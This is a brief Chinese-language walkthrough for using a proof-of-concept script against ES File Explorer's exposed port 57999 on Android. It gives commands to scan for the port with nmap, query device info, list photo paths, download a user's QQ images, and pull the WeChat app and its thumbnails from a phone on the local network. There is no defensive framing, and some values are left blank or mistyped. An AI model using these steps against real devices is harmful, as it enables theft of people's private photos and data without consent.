POC使用方法

POC在使用之前需要安装以下三个模块

requests
pylint
autopep8

可以利用pip3来安装它们

$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg

$ python poc.py --cmd appPull --pkg com.tencent.mm

$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm

漏洞利用过程

首先在Android上安装受影响的版本ES文件浏览器

使用nmap查看是否开启57999端口

sudo nmap -sS -p  -v 192.168.0.100

目标开启后，就可以利用POC验证是否存在漏洞

python3 poc.py --cmd getDeviceInfo --network 192.168..

通过执行getDeiceInfo来查看系统的信息

PACT00就是你的手机型号了

再来利用listPics来列出手机里图片的路径

有很多，随便从中选一个，利用-g来下载它

-g后面的路径参数一定要跟刚才获取到的信息来判断

然后输入以下路径

python3 poc.py -g /sdcard/Tencent/QQ_Images/-1915ed44cc2d41ae.jpg

这张图片是

下载后就会保存在当前目录
